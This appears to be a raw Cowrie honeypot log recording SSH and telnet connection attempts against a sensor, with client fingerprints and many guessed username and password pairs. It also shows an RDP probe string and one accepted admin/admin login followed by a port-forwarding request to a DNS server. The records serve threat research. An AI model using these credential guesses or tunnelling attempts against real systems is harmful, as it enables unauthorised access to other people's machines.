{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:42.375292Z","src_ip":"103.86.180.10","session":"47951f715b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres!@#","message":"login attempt [postgres/postgres!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:43.196129Z","src_ip":"103.86.180.10","session":"47951f715b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:44.396431Z","src_ip":"103.86.180.10","session":"47951f715b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"84087c92b8b3","protocol":"telnet","message":"New connection: 137.184.155.248:36538 (10.17.0.5:23) [session: 84087c92b8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:45.211165Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36554,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3744cb96e4","protocol":"telnet","message":"New connection: 137.184.155.248:36554 (10.17.0.5:23) [session: 0a3744cb96e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:46.211623Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.95.64.40","src_port":40723,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a10c697b0d4","protocol":"telnet","message":"New connection: 220.95.64.40:40723 (10.17.0.5:23) [session: 4a10c697b0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:46.457423Z"}
{"eventid":"cowrie.session.closed","duration":4.706891059875488,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:49.917959Z","src_ip":"137.184.155.248","session":"84087c92b8b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.113581418991089,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:59.570895Z","src_ip":"220.95.64.40","session":"4a10c697b0d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":43762,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f76de818a3","protocol":"ssh","message":"New connection: 41.86.34.139:43762 (10.17.0.5:22) [session: 70f76de818a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:09.191913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:09.197401Z","src_ip":"41.86.34.139","session":"70f76de818a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:09.404739Z","src_ip":"41.86.34.139","session":"70f76de818a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"p@ssw0rd","message":"login attempt [administrator/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:10.269167Z","src_ip":"41.86.34.139","session":"70f76de818a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:11.480614Z","src_ip":"41.86.34.139","session":"70f76de818a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":60869,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4c386c3fa1","protocol":"ssh","message":"New connection: 103.149.252.223:60869 (10.17.0.5:22) [session: cb4c386c3fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:18.199050Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:18.205030Z","src_ip":"103.149.252.223","session":"cb4c386c3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:18.208770Z","src_ip":"103.149.252.223","session":"cb4c386c3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"5150193a16fb","protocol":"ssh","message":"New connection: 186.4.240.226:49016 (10.17.0.5:22) [session: 5150193a16fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:27.146670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:27.151761Z","src_ip":"186.4.240.226","session":"5150193a16fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:27.239968Z","src_ip":"186.4.240.226","session":"5150193a16fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2025","message":"login attempt [ubuntu/ubuntu#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:27.623671Z","src_ip":"186.4.240.226","session":"5150193a16fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:28.725374Z","src_ip":"186.4.240.226","session":"5150193a16fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.88980317115784,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:32.101269Z","src_ip":"137.184.155.248","session":"0a3744cb96e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39272,"dst_ip":"10.17.0.5","dst_port":23,"session":"6191cb12eea4","protocol":"telnet","message":"New connection: 137.184.155.248:39272 (10.17.0.5:23) [session: 6191cb12eea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:38.708715Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":38449,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de640fb8338","protocol":"ssh","message":"New connection: 103.86.180.10:38449 (159.203.135.109:22) [session: 9de640fb8338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:39.604869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:39.609838Z","src_ip":"103.86.180.10","session":"9de640fb8338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:39.807566Z","src_ip":"103.86.180.10","session":"9de640fb8338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1212","message":"login attempt [guest/1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:40.627615Z","src_ip":"103.86.180.10","session":"9de640fb8338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:41.827259Z","src_ip":"103.86.180.10","session":"9de640fb8338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":52828,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24d78d1ec9c","protocol":"ssh","message":"New connection: 190.244.39.232:52828 (10.17.0.5:22) [session: a24d78d1ec9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.211562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.218219Z","src_ip":"190.244.39.232","session":"a24d78d1ec9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c677b1dbafe","protocol":"ssh","message":"New connection: 87.251.64.176:53960 (10.17.0.5:22) [session: 4c677b1dbafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.412812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.419606Z","src_ip":"87.251.64.176","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.422799Z","src_ip":"190.244.39.232","session":"a24d78d1ec9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.515894Z","src_ip":"87.251.64.176","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.805351Z","src_ip":"87.251.64.176","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:43.904617Z","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.002475Z","src_ip":"87.251.64.176","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.103758Z","src_ip":"87.251.64.176","session":"4c677b1dbafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":36072,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c40f4e5eb2b","protocol":"ssh","message":"New connection: 72.253.251.7:36072 (159.203.135.109:22) [session: 8c40f4e5eb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.119707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.125354Z","src_ip":"72.253.251.7","session":"8c40f4e5eb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.459543704986572,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.168142Z","src_ip":"137.184.155.248","session":"6191cb12eea4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9876543210","message":"login attempt [ubuntu/9876543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.220969Z","src_ip":"190.244.39.232","session":"a24d78d1ec9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.243230Z","src_ip":"72.253.251.7","session":"8c40f4e5eb2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liberty","message":"login attempt [root/liberty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:44.744501Z","src_ip":"72.253.251.7","session":"8c40f4e5eb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:45.429959Z","src_ip":"190.244.39.232","session":"a24d78d1ec9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:42:45.864753Z","src_ip":"72.253.251.7","session":"8c40f4e5eb2b","protocol":"ssh"}
